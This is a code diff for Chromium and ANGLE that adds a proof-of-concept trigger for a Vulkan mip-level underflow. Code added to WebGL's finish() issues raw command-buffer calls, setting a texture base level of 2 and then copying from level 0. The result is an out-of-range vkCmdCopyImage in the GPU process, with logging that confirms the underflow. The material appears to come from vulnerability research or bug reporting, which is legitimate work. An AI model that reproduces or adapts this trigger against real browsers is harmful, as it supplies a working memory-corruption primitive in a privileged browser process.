diff --git a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc index 226757a87e8ba..d818557b5470b 100644 --- a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc +++ b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc @@ -3305,6 +3305,73 @@ void WebGLRenderingContextBase::enableVertexAttribArray(GLuint index) { void WebGLRenderingContextBase::finish() { if (isContextLost()) return; + + // =================================================================== + // POC: ANGLE Vulkan glCopySubTextureCHROMIUM sourceLevel underflow. + // Simulates a compromised renderer issuing raw GLES2 commands through + // the command buffer to the GPU process passthrough decoder. + // =================================================================== + static bool poc_done = false; + if (!poc_done) { + poc_done = true; + gpu::gles2::GLES2Interface* gl = ContextGL(); + fprintf(stderr, + "[POC-RENDERER] Injecting CopySubTextureCHROMIUM underflow " + "sequence via command buffer\n"); + + GLuint tex[2] = {0, 0}; + gl->GenTextures(2, tex); + GLuint src = tex[0]; + GLuint dst = tex[1]; + + // Source texture: define level 0 (64x64 RGBA8) and level 2 (16x16 RGBA8). + gl->BindTexture(GL_TEXTURE_2D, src); + gl->TexImage2D(GL_TEXTURE_2D, 0, 0x8058 /*GL_RGBA8*/, 64, 64, 0, GL_RGBA, + GL_UNSIGNED_BYTE, nullptr); + gl->TexImage2D(GL_TEXTURE_2D, 2, 0x8058 /*GL_RGBA8*/, 16, 16, 0, GL_RGBA, + GL_UNSIGNED_BYTE, nullptr); + // Set BASE_LEVEL=2 so the Vulkan backend allocates the VkImage with + // mFirstAllocatedLevel = 2. + gl->TexParameteri(GL_TEXTURE_2D, 0x813C /*GL_TEXTURE_BASE_LEVEL*/, 2); + gl->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); + gl->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); + + // Destination texture: level 0 (64x64 RGBA8), matching format so the + // transfer (vkCmdCopyImage) path is taken. + gl->BindTexture(GL_TEXTURE_2D, dst); + gl->TexImage2D(GL_TEXTURE_2D, 0, 0x8058 /*GL_RGBA8*/, 64, 64, 0, GL_RGBA, + GL_UNSIGNED_BYTE, nullptr); + + fprintf(stderr, + "[POC-RENDERER] CopySubTextureCHROMIUM(src=%u, sourceLevel=0, " + "dst=%u) — frontend ImageDesc for level 0 is defined, so " + "validation passes\n", + src, dst); + + // sourceLevel=0 is defined in the frontend (passes validation) but lies + // outside the Vulkan backend's allocated range [2, ...]. Triggers + // toVkLevel(0) → 0 - 2 → (uint32_t)-2 = 0xFFFFFFFE. + gl->CopySubTextureCHROMIUM( + /*source_id=*/src, /*source_level=*/0, + /*dest_target=*/GL_TEXTURE_2D, /*dest_id=*/dst, /*dest_level=*/0, + /*xoffset=*/0, /*yoffset=*/0, /*x=*/0, /*y=*/0, + /*width=*/64, /*height=*/64, + /*unpack_flip_y=*/GL_FALSE, + /*unpack_premultiply_alpha=*/GL_FALSE, + /*unpack_unmultiply_alpha=*/GL_FALSE); + + GLenum err = gl->GetError(); + fprintf(stderr, + "[POC-RENDERER] CopySubTextureCHROMIUM recorded, " + "glGetError=0x%x\n", + err); + // Force a real submit so the malformed vkCmdCopyImage reaches the + // Vulkan driver during this run. + gl->Finish(); + fprintf(stderr, "[POC-RENDERER] gl->Finish() returned\n"); + } + // =================================================================== + ContextGL()->Flush(); // Intentionally a flush, not a finish. } diff --git a/third_party/angle/src/libANGLE/renderer/vulkan/TextureVk.cpp b/third_party/angle/src/libANGLE/renderer/vulkan/TextureVk.cpp index 3de8b87798..0bf7605e29 100644 --- a/third_party/angle/src/libANGLE/renderer/vulkan/TextureVk.cpp +++ b/third_party/angle/src/libANGLE/renderer/vulkan/TextureVk.cpp @@ -1872,6 +1872,27 @@ angle::Result TextureVk::copySubImageImplWithTransfer(ContextVk *contextVk, srcSubresource.baseArrayLayer = static_cast(sourceLayer); srcSubresource.layerCount = layerCount; + // [POC] Instrumentation: log the value about to be passed to + // vkCmdCopyImage. In a release build (ANGLE_ENABLE_ASSERTS off), the + // ASSERT(baseLevel <= levelGL) inside gl_vk::GetLevelIndex is stripped, + // so the underflowed uint32_t reaches the driver unchecked. + fprintf(stderr, + "[POC-GPU] copySubImageImplWithTransfer: sourceLevelGL=%d " + "srcImage->firstAllocatedLevel=%d -> srcSubresource.mipLevel=%u " + "(0x%08x), srcImage->mipLevels=%u\n", + sourceLevelGL.get(), + srcImage->getFirstAllocatedLevel().get(), + srcSubresource.mipLevel, srcSubresource.mipLevel, + srcImage->getLevelCount()); + if (srcSubresource.mipLevel >= srcImage->getLevelCount()) + { + fprintf(stderr, + "[POC-GPU] *** UNDERFLOW: vkCmdCopyImage " + "srcSubresource.mipLevel=%u >= image mipLevels=%u — violates " + "VUID-vkCmdCopyImage-srcSubresource-07967 ***\n", + srcSubresource.mipLevel, srcImage->getLevelCount()); + } + bool isSrc3D = srcImage->getExtents().depth > 1; bool isDest3D = gl_vk::GetImageType(mState.getType()) == VK_IMAGE_TYPE_3D;